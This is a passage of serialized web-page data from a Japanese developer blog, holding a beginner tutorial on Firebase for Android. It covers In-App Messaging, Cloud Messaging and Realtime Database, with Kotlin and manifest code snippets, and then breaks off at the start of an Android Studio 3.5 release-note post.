campaign",[530,731],{"className":732,"alt":64,"src":733,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080401\u002FScreen-Shot-2020-02-19-at-5.06.23-PM-41-1024x606.png",[11,735,736,738,739,742,743,746,747,750,751,755],{},[20,737,613],{},": \"",[20,740,741],{},"Message title","\" (例: Hello I'm FireBase)\"",[20,744,745],{},"Body","\" (optional), \"",[20,748,749],{},"Images","\" (ex: ",[57,752,753],{"href":753,"rel":754},"https:\u002F\u002Fcdn.pixabay.com\u002Fphoto\u002F2015\u002F10\u002F12\u002F14\u002F54\u002Fcoffee-983955_960_720.jpg",[61],")を入力します。",[530,757],{"className":758,"alt":64,"src":759,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080500\u002FScreen-Shot-2020-02-19-at-5.12.17-PM-45-1.png",[11,761,762,763,766],{},"\"",[20,764,765],{},"Button text","\"を追加します。",[530,768],{"className":769,"alt":64,"src":770,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080533\u002FScreen-Shot-2020-02-19-at-5.12.47-PM-47.png",[11,772,773,775,776,779,780,783],{},[20,774,645],{},": “",[20,777,778],{},"Test on Device","”をクリックし, \"",[20,781,782],{},"Add an instance ID","\" フィールドにID tokenをペーストします。",[530,785],{"className":786,"alt":64,"src":787,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080559\u002FScreen-Shot-2020-02-19-at-5.17.37-PM-49.png",[11,789,790,791,794],{},"Firebase In-App Messagingはクリックするとすぐに\"",[20,792,793],{},"Test","\"を送信します。それを見るためにはアプリをバックエンドへ移動し、テスト端末でアプリを再起動します。",[530,796],{"className":797,"alt":64,"src":798,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080625\u002FScreen-Shot-2020-02-19-at-5.24.22-PM-53-1024x663.png",[11,800,801,804],{},[20,802,803],{},"結果",":",[530,806],{"className":807,"alt":64,"src":808,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080648\u002FScreenshot_20200219-173204-57-768x1365.jpg",[11,810,811,814],{},[20,812,813],{},"Step 7",": テストが成功した後、続けるために\"**Next\"**をクリックします。",[530,816],{"className":817,"alt":64,"src":818,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080709\u002FScreen-Shot-2020-02-20-at-10.50.56-AM.png",[568,820],{},[530,822],{"className":823,"alt":64,"src":824,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080755\u002FScreen-Shot-2020-02-20-at-10.54.15-AM.png",[11,826,827,828,831],{},"メッセージを公開するために\"",[20,829,830],{},"Review","\"をクリックしてください。",[530,833],{"className":834,"alt":64,"src":835,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080836\u002FScreen-Shot-2020-02-20-at-10.56.19-AM.png",[568,837],{},[530,839],{"className":840,"alt":64,"src":841,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080911\u002FScreen-Shot-2020-02-20-at-10.55.31-AM-1024x663.png",[11,843,762,844,847],{},[20,845,846],{},"Publish","\"をクリックすると、アプリにメッセージが送信されます。",[11,849,850],{},[20,851,852],{},"結果:",[854,855,860,864],"div",{"className":856},[857,858,859],"flex","justify-center","gap-4",[530,861],{"className":862,"alt":64,"src":863,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080936\u002FScreenshot_20200219-173204-57-1-576x1024.jpg",[530,865],{"className":866,"alt":64,"src":867,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080953\u002FScreenshot_20200219-173801-59-576x1024.jpg",[568,869],{},[530,871],{"className":872,"alt":64,"src":873,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081013\u002FScreenshot_20200219-173901-61-576x1024.jpg",[495,875,877],{"id":876},"iv-cloud-message","IV. Cloud Message",[660,879,663],{"id":880},"_1-紹介-1",[11,882,883],{},"Firebase Cloud Messaging (FCM)は費用なしで確実にメッセージを届けるクロスプラットフォームメッセージソリューションです。FCMを使用し、メールや同期可能な他のデータでクライアントアプリケーションに知らせることができます。ユーザの再訪問やアプリの使用を継続させるプッシュ通知を送ることができます。 インスタントメッセージを使用するケースとして、メッセージはクライアントアプリに4KBまでのpayloadで送ることができる。",[660,885,670],{"id":886},"_2-始め方-1",[11,888,889,891,892,602,895,898,899,901,902,528],{},[20,890,523],{},": “",[20,893,894],{},"implementation",[20,896,897],{},"‘com.google.firebase:firebase-messaging:20.1.0’"," \"を\"",[20,900,623],{},"\" (app)に追加する。そして\"",[20,903,685],{},[530,905],{"className":906,"alt":64,"src":907,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081040\u002FScreen-Shot-2020-02-20-at-8.07.39-AM-63-1024x627.png",[11,909,910,912],{},[20,911,541],{}," : AndroidManifestファイルにfilterを追加します。",[696,914,917],{"className":915,"code":916,"language":701},[699],"\u003Cservice\n    android:name=\".java.MyFirebaseMessagingService\"\n    android:exported=\"false\">\n    \u003Cintent-filter>\n        \u003Caction android:name=\"com.google.firebase.MESSAGING_EVENT\" \u002F>\n    \u003C\u002Fintent-filter>\n\u003C\u002Fservice>\n",[703,918,916],{"__ignoreMap":64},[11,920,921],{},"MyFirebaseMessagingServiceは_FirebaseMessagingService_の拡張です。これはバックグラウンドでアプリにPush通知を受け取る以外にメッセージを扱うとき必要になります。フォアグランドでPush通知を受け取るためにはPayloadで受け取り、upstream messagesを送るなど、このサービスを使わなければならない。",[530,923],{"className":924,"alt":64,"src":925,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081111\u002FScreen-Shot-2020-02-20-at-8.13.02-AM-65-1024x625.png",[11,927,928,929,932],{},"今",[20,930,931],{},"line 23","にエラーが表示されています。これは_MyFirebaseMessagingService_ファイルがないために発生しているので、それを作ります。",[530,934],{"className":935,"alt":64,"src":936,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081137\u002FScreen-Shot-2020-02-20-at-8.16.28-AM-67.png",[11,938,939,943],{},[530,940],{"className":941,"alt":64,"src":942,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081206\u002FScreen-Shot-2020-02-20-at-8.17.14-AM-69.png",[568,944],{},[530,946],{"className":947,"alt":64,"src":948,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081227\u002FScreen-Shot-2020-02-20-at-8.17.30-AM-71-1024x183.png",[11,950,951,952],{},".java.MyFirebaseMessagingServiceから_",[953,954,955],"package",{},".MyFirebaseMessagingService_にpackage nameを変更します。",[530,957],{"className":958,"alt":64,"src":959,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081251\u002FScreen-Shot-2020-02-20-at-8.24.31-AM-77-1024x627.png",[11,961,962,964],{},[20,963,551],{}," (optional): デフォルトアイコンと色を設定します。特にPush通知で変更したくなければこのステップをスキップして良いです。",[696,966,969],{"className":967,"code":968,"language":701},[699],"\u003C!-- Set custom default icon. This is used when no icon is set for incoming notification messages.\n     See README(https:\u002F\u002Fgoo.gl\u002Fl4GJaQ) for more. -->\n\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_icon\"\n    android:resource=\"@drawable\u002Fic_stat_ic_notification\" \u002F>\n\u003C!-- Set color used with incoming notification messages. This is used when no color is set for the incoming\n     notification message. See README(https:\u002F\u002Fgoo.gl\u002F6BKBk7) for more. -->\n\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_color\"\n    android:resource=\"@color\u002FcolorAccent\" \u002F>\n",[703,970,968],{"__ignoreMap":64},[530,972],{"className":973,"alt":64,"src":974,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081324\u002FScreen-Shot-2020-02-20-at-8.36.41-AM-79-1024x627.png",[11,976,977,979,980,985,986,991,992,996],{},[20,978,578],{}," (Optional): Android 8.0 (API level 26)またはそれ以上から、",[57,981,984],{"href":982,"rel":983},"https:\u002F\u002Fdeveloper.android.com\u002Fguide\u002Ftopics\u002Fui\u002Fnotifiers\u002Fnotifications.html#ManageChannels",[61],"notification channels","はsupported またはrecommendedになっています。FCMは基本設定としてdefault notification channelの使用を提供しています。 もし新たにchannelを",[57,987,990],{"href":988,"rel":989},"https:\u002F\u002Fdeveloper.android.com\u002Fguide\u002Ftopics\u002Fui\u002Fnotifiers\u002Fnotifications.html#CreateChannel",[61],"作りたい","、デフォルトのchannelにしたい場合はdefault_notification_channel_idに自分のデフォルトchannelとしてpush通知channelオブジェクトを利用してください。 FCMはnotification channelが明示的にセットされない限りこの値を使用します。もっと詳しく知りたければ、",[57,993,995],{"href":982,"rel":994},[61],"Manage notification channels","を参照してください。",[11,998,999,1002],{},[20,1000,1001],{},"res\u002Fvalues\u002Fstrings.xml","を開き、この行を追加してください。",[696,1004,1007],{"className":1005,"code":1006,"language":701},[699],"\u003Cstring name=\"default_notification_channel_id\">1\u003C\u002Fstring>\n",[703,1008,1006],{"__ignoreMap":64},[530,1010],{"className":1011,"alt":64,"src":1012,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081349\u002FScreen-Shot-2020-02-20-at-8.44.38-AM-83-1024x350.png",[11,1014,1015,1018],{},[20,1016,1017],{},"AndroidManifest","ファイルを開き、このコードを追加してください。",[696,1020,1023],{"className":1021,"code":1022,"language":701},[699],"\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_channel_id\"\n    android:value=\"@string\u002Fdefault_notification_channel_id\" \u002F>\n",[703,1024,1022],{"__ignoreMap":64},[530,1026],{"className":1027,"alt":64,"src":1028,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081416\u002FScreen-Shot-2020-02-20-at-8.46.55-AM-85-1024x627.png",[11,1030,1031,1033,1034,1037],{},[20,1032,613],{},": 現在のregistration tokenを取得するため",[20,1035,1036],{},"MainActivity","を開き、この機能を追加します。",[696,1039,1042],{"className":1040,"code":1041,"language":701},[699],"private fun createInstanceId() {\n    FirebaseInstanceId.getInstance().instanceId.addOnCompleteListener { task ->\n        if (!task.isSuccessful) {\n            Log.w(TAG, \"getInstanceId failed\", task.exception)\n            return@addOnCompleteListener\n        }\n\n        \u002F\u002Fget id Token\n        \u002F\u002F Get new Instance ID token\n        val token = task.result?.token\n\n        \u002F\u002F Log and toast\n        Log.d(TAG, \"token: $token\")\n        Toast.makeText(baseContext, \"token: $token\", Toast.LENGTH_SHORT).show()\n    }\n}\n",[703,1043,1041],{"__ignoreMap":64},[530,1045],{"className":1046,"alt":64,"src":1047,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081446\u002FScreen-Shot-2020-02-20-at-8.56.08-AM-87-1024x626.png",[11,1049,1050],{},"アプリを動作させ、Firebase instance IDを取得します。",[530,1052],{"className":1053,"alt":64,"src":1054,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081508\u002FScreenshot_20200220-125154-768x1365.jpg",[11,1056,1057,1059,1060,1063],{},[20,1058,645],{},": ",[20,1061,1062],{},"MyFirebaseMessagingService","クラスに下記のコードを追加します。",[696,1065,1068],{"className":1066,"code":1067,"language":701},[699],"class MyFirebaseMessagingService : FirebaseMessagingService() {\n    companion object {\n        private val TAG = this::class.java.simpleName\n    }\n\n    override fun onNewToken(token: String) {\n        Log.d(TAG, \"Refreshed token: $token\")\n        super.onNewToken(token)\n    }\n\n    override fun onMessageReceived(remoteMessage: RemoteMessage) {\n        super.onMessageReceived(remoteMessage)\n        Log.d(TAG, \"From: ${remoteMessage.from}\")\n\n        remoteMessage.data.isNotEmpty().let {\n        }\n\n        remoteMessage.notification?.let {\n            Log.d(TAG, \"Message Notification Body: ${it.body}\")\n            it.body?.let { body ->\n                sendNotification(body)\n            }\n        }\n    }\n\n    private fun sendNotification(messageBody: String) {\n        val intent = Intent(this, CloudMessageActivity::class.java)\n        intent.flags = Intent.FLAG_ACTIVITY_CLEAR_TOP\n        val pendingIntent = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_ONE_SHOT)\n\n        val channelId = getString(R.string.default_notification_channel_id)\n        val defaultSoundUri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION)\n        val notificationBuilder = NotificationCompat.Builder(this, channelId)\n            .setSmallIcon(R.drawable.ic_notifications)\n            .setContentTitle(\"Mess Title\")\n            .setContentText(messageBody)\n            .setAutoCancel(true)\n            .setSound(defaultSoundUri)\n            .setContentIntent(pendingIntent)\n\n        val notificationManager =\n            getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {\n            val channel = NotificationChannel(\n                channelId, \"Channel human readable title\",\n                NotificationManager.IMPORTANCE_DEFAULT\n            )\n            notificationManager.createNotificationChannel(channel)\n        }\n\n        notificationManager.notify(1, notificationBuilder.build())\n    }\n}\n",[703,1069,1067],{"__ignoreMap":64},[11,1071,1072,1059,1074,1077],{},[20,1073,813],{},[20,1075,1076],{},"Cloud Messaging","のテスト",[530,1079],{"className":1080,"alt":64,"src":1081,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081528\u002FScreen-Shot-2020-02-20-at-12.47.45-PM.png",[11,1083,1084,197,1087,1090,1091,1093,1094,1097,1098,1103],{},[20,1085,1086],{},"Notification",[20,1088,1089],{},"Title",", ",[20,1092,701],{}," と ",[20,1095,1096],{},"image"," (optional)を入力します。 ex: ",[57,1099,1102],{"href":1100,"rel":1101},"https:\u002F\u002Fcdn.pixabay.com\u002Fphoto\u002F2017\u002F07\u002F07\u002F02\u002F05\u002Fsymbol-2480161%5C_960%5C_720.png",[61],"https:\u002F\u002Fcdn.pixabay.com\u002Fphoto\u002F2017\u002F07\u002F07\u002F02\u002F05\u002Fsymbol-2480161\\_960\\_720.png"," and send test message.",[530,1105],{"className":1106,"alt":64,"src":1107,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081545\u002FScreen-Shot-2020-02-20-at-1.00.12-PM.png",[11,1109,1110,1113],{},[20,1111,1112],{},"Logcat"," (step 5)からtokenを取得し追加します。",[530,1115],{"className":1116,"alt":64,"src":1117,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081608\u002FScreen-Shot-2020-02-20-at-1.07.28-PM.png",[11,1119,1120,804],{},[20,1121,803],{},[530,1123],{"className":1124,"alt":64,"src":1125,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081635\u002FScreenshot_20200220-141558-768x1365.jpg",[11,1127,1128,1130],{},[20,1129,813],{},": 作成とメッセージ送信",[11,1132,1133,1134,766],{},"テストが成功した後で、続けるために\"",[20,1135,1136],{},"Next",[11,1138,1139,1143],{},[530,1140],{"className":1141,"alt":64,"src":1142,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081717\u002FScreen-Shot-2020-02-20-at-2.22.42-PM.png",[568,1144],{},[11,1146,1147,1151],{},[530,1148],{"className":1149,"alt":64,"src":1150,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081729\u002FScreen-Shot-2020-02-20-at-2.25.56-PM.png",[568,1152],{},[530,1154],{"className":1155,"alt":64,"src":1156,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081755\u002FScreen-Shot-2020-02-20-at-2.23.43-PM.png",[11,1158,1159,1160,1162],{},"メッセージを送信するため\"",[20,1161,846],{},"\"を送信します。",[11,1164,1165,804],{},[20,1166,803],{},[854,1168,1170,1175],{"className":1169},[857,858,859],[530,1171],{"className":1172,"alt":64,"src":1173,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081831\u002FScreenshot_20200220-144456_One-UI-Home-768x652.jpg","width: 60%;",[530,1176],{"className":1177,"alt":64,"src":1178,"style":1179},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081852\u002FScreenshot_20200220-144505-768x954.png","width: 40%;",[568,1181],{},[530,1183],{"className":1184,"alt":64,"src":1185,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081914\u002FScreenshot_20200220-144509-576x1024.jpg",[495,1187,1189],{"id":1188},"v-realtime-database","V. Realtime Database",[660,1191,663],{"id":1192},"_1-紹介-2",[11,1194,1195],{},"Firebase Realtime Databaseはクラウドホスティングデータベースです。データはJson形式で保存され、クライアントに毎回リアルタイムに同期されます。iOS, Android JavaScript SDKを使ったあなたのクライアントのクロスプラットフォームアプリはrealtime database instanceに同期され、自動で最新のデータにアップデートされます。",[660,1197,1199],{"id":1198},"_2-get-start","2. Get start",[11,1201,1202,1204,1205,1208,1209,528],{},[20,1203,523],{},": \"build.gradle\"に“",[20,1206,1207],{},"implementation 'com.google.firebase:firebase-database:19.2.1'"," \" (app)を追加します。そして\"",[20,1210,685],{},[530,1212],{"className":1213,"alt":64,"src":1214,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082008\u002FScreen-Shot-2020-02-20-at-3.26.15-PM-1024x382.png",[11,1216,1217,1219],{},[20,1218,541],{},": テストのためにrealtime databaseのrules設定します。",[530,1221],{"className":1222,"alt":64,"src":1223,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082049\u002FScreen-Shot-2020-02-20-at-3.38.14-PM-1024x541.png",[11,1225,1226,1227,1232],{},"realtime databaseのrulesについては",[57,1228,1231],{"href":1229,"rel":1230},"https:\u002F\u002Ffirebase.google.com\u002Fdocs\u002Fdatabase\u002Fsecurity\u002Fquickstart#sample-rules%22",[61],"こちら","を確認してください。",[11,1234,1235,1237],{},[20,1236,551],{},": UserModelクラスを作成します。",[696,1239,1242],{"className":1240,"code":1241,"language":701},[699],"data class UserModel(\n    var id: String = \"\",\n    var name: String = \"\",\n    var age: Int = 0,\n    var email: String = \"\"\n) {\n    override fun toString(): String {\n        return \"UserModel(id='$id', name='$name', age=$age, email='$email')\"\n    }\n}\n",[703,1243,1241],{"__ignoreMap":64},[11,1245,1246,1248],{},[20,1247,578],{},": 3つの項目(name, age and email)があるLayoutを作成し、User dataを含めるために1つのrecycler viewを追加します。 これが作成したlayoutです。",[530,1250],{"className":1251,"alt":64,"src":1252,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082107\u002FScreenshot_20200220-160304-739x1536.png",[11,1254,1255,1258],{},[20,1256,1257],{},"Step 5:"," データベースを記述します。 最初に_databaseReference_を初期化します。",[696,1260,1263],{"className":1261,"code":1262,"language":701},[699],"private fun initDatabase() {\n    databaseReference = FirebaseDatabase.getInstance().reference\n}\n",[703,1264,1262],{"__ignoreMap":64},[11,1266,1267],{},"次に、入力した値を取得し、データベースに追加します。",[696,1269,1272],{"className":1270,"code":1271,"language":701},[699],"private fun insertUser() {\n    if (edt_name.text.isNullOrEmpty() || edt_age.text.isNullOrEmpty() || edt_email.text.isNullOrEmpty()) {\n        Toast.makeText(this, \"Some field are missing.\", Toast.LENGTH_SHORT).show()\n        return\n    }\n\n    \u002F\u002Fget key\n    val key = databaseReference.child(\"User\").push().key\n\n    \u002F\u002Fget user data from edit text\n    val user = UserModel(\n        name = edt_name.text.toString(),\n        age = edt_age.text.toString().toInt(),\n        email = edt_email.text.toString()\n    )\n\n    key?.let {\n        user.id = key\n\n        \u002F\u002F Write a data to the database\n        databaseReference.child(\"User\").child(key).setValue(user).addOnSuccessListener {\n            clearText()\n            \u002F\u002Fget user data from database\n            getUser()\n            \u002F\u002Fscroll to new item\n            recycler_user.scrollToPosition(recyclerAdapter.userList.size - 1)\n        }\n            .addOnFailureListener {\n                Toast.makeText(this, \"Upload Error\", Toast.LENGTH_SHORT).show()\n            }\n    }\n}\n",[703,1273,1271],{"__ignoreMap":64},[11,1275,1276],{},"Insertボタンのイベントのコードを追加します。",[696,1278,1281],{"className":1279,"code":1280,"language":701},[699],"btn_insert.setOnClickListener {\n    insertUser()\n}\n",[703,1282,1280],{"__ignoreMap":64},[11,1284,1285,1286,1289],{},"アプリの\"",[20,1287,1288],{},"Insert","\"ボタンをクリックした後で、データはすぐにFirebaseに送られます。",[696,1291,1293],{"className":1292,"code":64,"language":701},[699],[703,1294,64],{"__ignoreMap":64},[11,1296,1297],{},[20,1298,1299],{},"データの読み込み:",[696,1301,1304],{"className":1302,"code":1303,"language":701},[699],"databaseReference.child(\"User\").addValueEventListener(object : ValueEventListener {\n    override fun onCancelled(dataError: DatabaseError) {\n        Toast.makeText(this@DataBaseActivity, \"Upload Error\", Toast.LENGTH_SHORT).show()\n    }\n\n    override fun onDataChange(dataSnapshot: DataSnapshot) {\n        \n        \u002F\u002Fget user list from database\n        val list = dataSnapshot.children.mapNotNull {\n            it.getValue(UserModel::class.java)\n        }\n        list.forEach {\n            Log.i(\"Users\", it.toString())\n        }\n        \u002F\u002Fadd to recycler view\n        if (list.isNotEmpty()) {\n            recyclerAdapter.userList.clear()\n            recyclerAdapter.userList.addAll(list)\n            recyclerAdapter.notifyDataSetChanged()\n        }\n    }\n})\n",[703,1305,1303],{"__ignoreMap":64},[530,1307],{"className":1308,"alt":64,"src":1309,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082214\u002FScreenshot_20200221-082417-739x1536.png",[11,1311,1312],{},[20,1313,1314],{},"データの更新:",[696,1316,1319],{"className":1317,"code":1318,"language":701},[699],"private fun updateUser() {\n    user?.let {\n        \u002F\u002Fcreate new user object\n        val user = UserModel(\n            it.id,\n            edt_name.text.toString(),\n            edt_age.text.toString().toInt(),\n            edt_email.text.toString()\n        )\n        \u002F\u002Fupdate user\n        databaseReference.child(\"User\u002F${it.id}\").setValue(user)\n    }\n}\n",[703,1320,1318],{"__ignoreMap":64},[530,1322],{"className":1323,"alt":64,"src":1324,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082239\u002FScreen-Shot-2020-02-20-at-5.13.21-PM.png",[11,1326,1327,804],{},[20,1328,1329],{},"データの削除",[696,1331,1334],{"className":1332,"code":1333,"language":701},[699],"private fun deleteUser() {\n    \u002F\u002F get user id\n    val query =\n        databaseReference.child(\"User\").orderByChild(\"id\").equalTo(user?.id)\n\n    query.addListenerForSingleValueEvent(object : ValueEventListener {\n        override fun onDataChange(dataSnapshot: DataSnapshot) {\n            for (user in dataSnapshot.children) {\n                \u002F\u002Fremove user\n                user.ref.removeValue().addOnSuccessListener {\n                    clearText()\n                }\n            }\n        }\n\n        override fun onCancelled(databaseError: DatabaseError) {\n            Log.e(\n                TAG,\n                \"onCancelled\",\n                databaseError.toException()\n            )\n        }\n    })\n    getUser()\n}\n",[703,1335,1333],{"__ignoreMap":64},[530,1337],{"className":1338,"alt":64,"src":1339,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082302\u002FScreen-Shot-2020-02-20-at-5.14.08-PM.png",[495,1341,1343],{"id":1342},"vi-参考文献","VI. 参考文献",[11,1345,1346],{},[57,1347,1348],{"href":1348,"rel":1349},"https:\u002F\u002Ffirebase.google.com\u002Fdocs\u002Fguides",[61],[11,1351,1352],{},[57,1353,1354],{"href":1354,"rel":1355},"https:\u002F\u002Fgithub.com\u002Ffirebase\u002Fquickstart-android\u002Fblob\u002F995be41782f84b3c54e41d7d7e5d3a5048fe329e\u002Fmessaging\u002Fapp\u002Fsrc\u002Fmain\u002Fjava\u002Fcom\u002Fgoogle\u002Ffirebase\u002Fquickstart\u002Ffcm\u002Fkotlin\u002FMyFirebaseMessagingService.kt#L65-L77",[61],[11,1357,1358],{},[57,1359,1360],{"href":1360,"rel":1361},"https:\u002F\u002Fproandroiddev.com\u002Ffirebase-android-playground-realtime-database-560d4e18404a",[61],[11,1363,1364],{},[57,1365,1366],{"href":1366,"rel":1367},"https:\u002F\u002Fwww.learnhowtoprogram.com\u002Fandroid\u002Fdata-persistence\u002Ffirebase-reading-data-and-event-listeners",[61],{"title":64,"searchDepth":65,"depth":65,"links":1369},[1370,1371,1372,1377,1381,1385],{"id":497,"depth":65,"text":498},{"id":510,"depth":65,"text":511},{"id":657,"depth":65,"text":658,"children":1373},[1374,1376],{"id":662,"depth":1375,"text":663},3,{"id":669,"depth":1375,"text":670},{"id":876,"depth":65,"text":877,"children":1378},[1379,1380],{"id":880,"depth":1375,"text":663},{"id":886,"depth":1375,"text":670},{"id":1188,"depth":65,"text":1189,"children":1382},[1383,1384],{"id":1192,"depth":1375,"text":663},{"id":1198,"depth":1375,"text":1199},{"id":1342,"depth":65,"text":1343},[1387,1388],"mobile","tech talk","2020-02-25","Firebaseとは Google FirebaseはGoogleのバックエンドアプリケーションで開発者がiOSやandroid、",{},"\u002Fja\u002Fnews\u002Fandroid-firebase-for-beginer",{"title":483,"description":1390},"ja\u002Fnews\u002Fandroid-firebase-for-beginer","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002FFirebase.jpg","w_TeL5rgds-Y4ihb3rncPBHPpKWfygXYYNascWyd6Xo",{"id":1398,"title":1399,"body":1400,"category":1781,"created by":68,"date":1782,"description":1783,"extension":71,"meta":1784,"navigation":73,"path":1785,"sections":75,"seo":1786,"stem":1787,"thumbnail":1788,"__hash__":1789},"content_ja\u002Fja\u002Fnews\u002Fandroid-studio-3-5-release-note-summary.md","Android Studio 3.5 Release Note Summary",{"type":8,"value":1401,"toc":1761},[1402,1417,1423,1429,1436,1440,1443,1458,1471,1475,1482,1494,1498,1504,1512,1518,1521,1527,1531,1534,1538,1561,1567,1570,1574,1580,1583,1589,1592,1596,1599,1603,1606,1613,1620,1637,1656,1659,1663,1666,1670,1673,1680,1685,1691,1695,1700,1703,1706,1712,1719,1749,1753],[11,1403,1404,1405,1410,1411,1416],{},"Android Studio 